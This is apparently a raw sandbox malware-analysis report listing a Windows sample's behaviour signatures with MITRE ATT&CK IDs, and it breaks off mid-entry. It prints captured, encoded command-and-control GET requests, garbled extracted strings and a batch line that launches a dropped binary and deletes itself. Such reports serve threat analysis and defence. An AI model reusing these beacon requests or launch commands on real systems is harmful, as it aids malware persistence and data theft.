/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" Found http requests in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" Found http requests in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" Found http requests in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" Found http requests in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" Found http requests in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"72:T705,"ZoNW}kn:}" "u]vFsqO" "oe!iI7sX" "DpSjX)" "w9\yx" "X$YX\IML\X" "oe!iI7sX", "DpSjX)", "w9\yx", "X$YX\IML\X", "oe!iI7sX", "DpSjX)", "w9\yx", "X$YX\IML\X", "oe!iI7sX", "DpSjX)", "w9\yx", "X$YX\IML\X", "oe!iI7sX", "DpSjX)", "w9\yx", "X$YX\IML\X", "oe!iI7sX" "DpSjX)" "w9\yx" "X$YX\IML\X" "oU\IUE$MZ(U>]TUU(QVXh$Z]U[YZ]M9XUWYiUQ5UUQMYEVPOEVU\%^EU6]SQ8&]Y5U%X!X2UjY&]]&UI2U%SYZ:]]U%T%YYUT&>U\Z]QSQEPXUR*]]UET(Y5U&]QiRbL*VR2UUZYRbL*VRH\QPLHQE@T\LEQEHADEY" ">e!iI7sX" "DpSjX)" "w9\yx" "X$YX\IML\X" "onulstart \"\" \"C:\\Windows\\PLA\\Templates\\wininit.exe\"del /a /q /f \"C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\\\LkZH0FaUeD.bat\"\" (Indicator: \"w32tm \"; File: \"LkZH0FaUeD.bat\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-519","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$35","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"$36","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"intoHostDhcp.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"csrss.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"dllhost.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"wininit.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"OSPPSVC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")\n \"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")\n \"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\QGMDPYGOG.BAT\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\QGMDPYGOG.BAT\")\n \"intoHostDhcp.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"intoHostDhcp.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; File: \"615a949d-4820-474a-9d77-81f8861d75cf.vbs\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Able to decompress files using PowerShell","description":"file/memory contains long string(File: \"ModuleAnalysisCache\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":3,"id":"string-825","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 32 bit PEB structure (dword ptr fs:[00000030h]) (Offset: 158027)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"DISMHOST.EXE.6A9EA94A.bin\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$37","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"$38","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$39","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$3a","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"$3b","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00001216.00000001.88761.00480000.00000004.mdmp, 00000000-00001216.00000001.88761.004C0000.00000004.mdmp, 00000000-00001216.00000001.88761.00B20000.00000004.mdmp, 00000000-00001216.00000001.88761.00B40000.00000004.mdmp, 00000000-00001216.00000001.88761.00D40000.00000004.mdmp\")\n Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00001920.00000003.86942.007E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"9405160,3528,3143,,CreateProcessW,kernel32.dll,\"252:11:37.371\",RX=0,PX=0\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001920.00000003.86942.04BD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObject@KERNEL32.dll at 14356-1180-0041084E\n Sleep@KERNEL32.dll at 14356-2002-0041AF0C\n Sleep@KERNEL32.DLL at 00000000-00005856-15623-274-00C3D5D4\n WaitForSingleObject@KERNEL32.DLL at 00000000-00005856-15623-279-00C3D2E6\n Sleep@KERNEL32.DLL at 00000000-00005856-15623-609-00C300CF\n WaitForSingleObject@KERNEL32.DLL at 00000000-00005856-15623-767-00C3084E\n Sleep@KERNEL32.DLL at 00000000-00005856-15623-1492-00C3AF0C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExA@KERNEL32.dll at 14356-1513-0041DF5B\n LoadLibraryExW@KERNEL32.DLL at 00000000-00005856-15623-34-00C4A4F4\n LoadLibraryExW@KERNEL32.DLL at 00000000-00005856-15623-269-00C43219\n LoadLibraryW@KERNEL32.DLL at 00000000-00005856-15623-514-00C30085\n LoadLibraryExA@KERNEL32.DLL at 00000000-00005856-15623-1000-00C3DF5B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LogonUser API\" (Indicator: \"LogonUser\"; Source: \"00000000-00005944.00000001.89465.00060000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Copy files into temp folder","description":"\"intoHostDhcp.exe\" copies C:\\BlockproviderComponentweb\\intoHostDhcp.exe to temp folder C:\\Temp\\conhost.exe (UID: 00000000-00005752)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-268","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3c","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"QGmdpYGOg.bat\" as clean (type is \"ASCII text with no line terminators\")\n Antivirus vendors marked dropped file \"DISMHOST.EXE.6A9EA94A.bin\" as clean (type is \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"$3d","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\BlockproviderComponentweb\\\\QGmdpYGOg.bat\" \"\" (UID: 00000000-00005780)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"intoHostDhcp.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"DISMHOST.EXE.6A9EA94A.bin\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134332191566788951.4068.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134332192172816955.4328.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134332192771440956.2716.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134332193991212967.3876.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134332194590616970.3824.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134332203003117004.1704.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3f","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 75950000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 75950000\n \"intoHostDhcp.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 75950000\n \"wininit.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 75950000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 75950000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 6A0A0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"$41","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"intoHostDhcp.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74E80000\n \"csrss.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74E80000\n \"dllhost.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74E80000\n \"wininit.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74E80000\n \"OSPPSVC.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74E80000\n \"conhost.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74E80000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74E80000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74A40000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"intoHostDhcp.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64580000\n \"intoHostDhcp.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64D30000\n \"csrss.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64D30000\n \"dllhost.exe\" loaded module 